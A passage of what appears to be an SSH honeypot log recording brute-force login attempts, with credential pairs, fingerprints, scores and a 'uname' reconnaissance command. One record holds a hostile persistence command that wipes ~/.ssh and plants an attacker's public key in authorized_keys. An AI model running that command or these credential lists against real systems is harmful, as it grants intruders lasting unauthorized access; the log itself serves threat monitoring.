    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:52.472947 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: 0685b46f6eb5

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0685b46f6eb5",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:52.472947Z",
  "end_time": "2026-10-08T20:59:54.616478Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pi",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:47.427947 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser

Record ID: 03ebac702e31

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "03ebac702e31",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:47.427947Z",
  "end_time": "2026-10-08T20:59:49.312076Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "rdpuser",
      "pass": "rdpuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:42.243909 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / crash

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 40977da6c9c6

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "40977da6c9c6",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:42.243909Z",
  "end_time": "2026-10-08T20:59:43.530683Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "crash"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:36.573348 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: myuser

Record ID: 73a1571f7181

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "73a1571f7181",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:36.573348Z",
  "end_time": "2026-10-08T20:59:38.970324Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "myuser",
      "pass": "myuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:31.166499 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Zhangjay5865358

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e115b57e8cdb

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e115b57e8cdb",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:31.166499Z",
  "end_time": "2026-10-08T20:59:32.528884Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zhangjay5865358"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:25.717989 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gpadmin

Record ID: d0c70a4d2568

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d0c70a4d2568",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:25.717989Z",
  "end_time": "2026-10-08T20:59:27.683824Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gpadmin",
      "pass": "gpadmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:20.456000 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webuser

Record ID: 1fee00759aab

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1fee00759aab",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:20.456000Z",
  "end_time": "2026-10-08T20:59:22.382670Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "webuser",
      "pass": "webuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:15.325544 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: openvpn

Record ID: bbd9b13ed019

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bbd9b13ed019",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:15.325544Z",
  "end_time": "2026-10-08T20:59:17.289856Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "openvpn",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:10.699229 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 119110120

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 429ffd8e7a70

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "429ffd8e7a70",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:10.699229Z",
  "end_time": "2026-10-08T20:59:11.981612Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "119110120"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:05.631926 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / AhaNode123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 70b03d2b48e8

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "70b03d2b48e8",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:05.631926Z",
  "end_time": "2026-10-08T20:59:06.885245Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "AhaNode123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:00.478025 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / bookworm

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5e232e55554b

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5e232e55554b",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:00.478025Z",
  "end_time": "2026-10-08T20:59:01.828095Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bookworm"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:55.595516 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / 0

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5924ecaa7ada

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5924ecaa7ada",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:55.595516Z",
  "end_time": "2026-10-08T20:58:57.043485Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "0"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:50.240385 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / uuuuuuuu

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 2d85d583dde0

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2d85d583dde0",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:50.240385Z",
  "end_time": "2026-10-08T20:58:51.722549Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "uuuuuuuu"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

141.95.162.162

2026-10-08 20:58:44.944929 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / 3245gs5662d34

Record ID: bb9135821998

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "bb9135821998",
  "src_ip": "141.95.162.162",
  "start_time": "2026-10-08T20:58:44.944929Z",
  "end_time": "2026-10-08T20:58:45.915460Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:44.583297 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo17

Record ID: f5597b2eba0c

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f5597b2eba0c",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:44.583297Z",
  "end_time": "2026-10-08T20:58:46.415032Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "odoo17",
      "pass": "odoo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

141.95.162.162

2026-10-08 20:58:42.826387 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f433f99f6a1d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f433f99f6a1d",
  "src_ip": "141.95.162.162",
  "start_time": "2026-10-08T20:58:42.826387Z",
  "end_time": "2026-10-08T20:58:44.794048Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

141.95.162.162

2026-10-08 20:58:40.807525 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: user / user@2024

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 9a281bf0fe7c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9a281bf0fe7c",
  "src_ip": "141.95.162.162",
  "start_time": "2026-10-08T20:58:40.807525Z",
  "end_time": "2026-10-08T20:58:45.911794Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "user@2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:39.441094 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1029384756

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a189425fa520

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a189425fa520",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:39.441094Z",
  "end_time": "2026-10-08T20:58:40.712487Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1029384756"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

43.134.49.202

2026-10-08 20:58:37.988475 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: info

Record ID: dd6b571a5d4f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dd6b571a5d4f",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-08T20:58:37.988475Z",
  "end_time": "2026-10-08T20:58:40.139451Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "info",
      "pass": "test"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:34.584004 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qw

Record ID: 3a66d307b705

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3a66d307b705",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:34.584004Z",
  "end_time": "2026-10-08T20:58:36.418641Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "qw",
      "pass": "qw"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:29.285241 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / test@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a923f2e46000

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a923f2e46000",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:29.285241Z",
  "end_time": "2026-10-08T20:58:30.662688Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "test@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:24.240510 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Aa123321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ab7b78f7e700

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ab7b78f7e700",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:24.240510Z",
  "end_time": "2026-10-08T20:58:25.570904Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa123321"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:19.505610 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / linux123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 1ffbc69b8f71

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1ffbc69b8f71",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:19.505610Z",
  "end_time": "2026-10-08T20:58:20.883472Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "linux123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:14.642207 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wangjing

Record ID: bee767983929

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bee767983929",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:14.642207Z",
  "end_time": "2026-10-08T20:58:16.723574Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "wangjing",
      "pass": "wangjing"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:58:09.961554 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: steam / steam123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a7ebe6752850

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a7ebe6752850",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:58:09.961554Z",
  "end_time": "2026-10-08T20:58:11.292562Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "steam",
    "pass": "steam123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

103.60.242.169

2026-10-08 20:58:04.960621 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: josh

Record ID: a5428e719478

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a5428e719478",
  "src_ip": "103.60.242.169",
  "start_time": "2026-10-08T20:58:04.960621Z",
  "end_time": "2026-10-08T20:58:07.277226Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "josh",
      "pass": "josh"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}